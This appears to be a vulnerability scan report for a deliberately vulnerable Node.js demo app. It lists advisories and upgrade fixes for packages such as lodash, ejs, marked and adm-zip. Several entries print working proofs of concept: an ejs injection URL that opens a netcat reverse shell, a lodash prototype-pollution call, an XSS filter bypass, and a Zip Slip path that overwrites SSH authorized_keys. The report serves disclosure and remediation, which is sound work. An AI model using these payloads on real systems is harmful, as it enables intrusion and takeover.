Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 4.5.3, 3.0.8 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary File Write via Archive Extraction (Zip Slip)

+
+ +
+ critical severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + adm-zip +
  • + +
  • Introduced through: + + goof@1.0.1 and adm-zip@0.4.7 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + adm-zip@0.4.7 + + + +
  • +
+ +
+ +
+ +

Overview

+

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

+

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).

+

Details

+

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

+

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+

+        +2018-04-15 22:04:29 ..... 19 19 good.txt
+        
+        +2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+        
+

Remediation

+

Upgrade adm-zip to version 0.4.11 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + typeorm +
  • + +
  • Introduced through: + + goof@1.0.1 and typeorm@0.2.24 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + + +
  • +
+ +
+ +
+ +

Overview

+

typeorm is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).

+

Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker that is able to save a specially crafted object to pollute the Object prototype and cause side effects on the library/application logic, such as Denial of Service attacks and/or SQL injections.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade typeorm to version 0.2.25 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (sanitize: true) protection. Using the HTML Coded Character Set, attackers can inject javascript: code snippets into the output. For example, the following input javascript&#x58document;alert&#40;1&#41; will result in alert(1) being executed when the user clicks on the link.

+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade marked to version 0.3.6 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

+

PoC

+
const _ = require('lodash');
+        _.zipObjectDeep(['__proto__.z'],[123])
+        console.log(z) // 123
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.20 or higher.

+

References

+ + +
+ + + +
+
+

DLL Injection

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + kerberos +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mongodb@2.0.46 + + mongodb-core@1.2.19 + + kerberos@0.0.24 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.

+

Remediation

+

Upgrade kerberos to version 1.0.0 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + json-schema +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + request@2.88.0 + + http-signature@1.2.0 + + jsprim@1.4.1 + + json-schema@0.2.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Prototype Pollution via the validate function, which when given a special payload will pollute Object with undesired attributes.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade json-schema to version 0.4.0 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Execution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

+

Remediation

+

Upgrade handlebars to version 4.5.3, 3.0.8 or higher.

+

References

+ + +
+ + + +
+
+

Remote Code Execution (RCE)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine.

+

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

+

Note: + This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

+

PoC:

+

Creation of reverse shell:

+
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
+        
+

Remediation

+

Upgrade ejs to version 3.1.7 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Execution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine. + Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files. + You can read more about this vulnerability on the Snyk blog.

+

There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.

+

Details

+

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

+

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

+
ejs.render(str, data, options);
+        
+        ejs.renderFile(filename, data, options, callback)
+        
+

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

+
ejs.render(str, dataAndOptions);
+        
+        ejs.renderFile(filename, dataAndOptions, callback)
+        
+

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the root option, which allows changing the project root for includes with an absolute path.

+
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
+        
+

By passing along the root directive in the line above, any includes would now be pulled from /bad/root instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.

+

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

+

Disclosure Timeline

+
    +
  • November 27th, 2016 - Reported the issue to package owner.
  • +
  • November 27th, 2016 - Issue acknowledged by package owner.
  • +
  • November 28th, 2016 - Issue fixed and version 2.5.3 released.
  • +
+

Remediation

+

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. + Otherwise, Upgrade ejs to version 2.5.3 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + dustjs-linkedin +
  • + +
  • Introduced through: + + goof@1.0.1 and dustjs-linkedin@2.5.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + dustjs-linkedin@2.5.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.

+

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the blocks Array attribute of the object context within the compileBlocks function. This vulnerability can be leveraged for code execution since this property is added to the compiled function which is then execute by the vm module.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade dustjs-linkedin to version 3.0.0 or higher.

+

References

+ + +
+ + + +
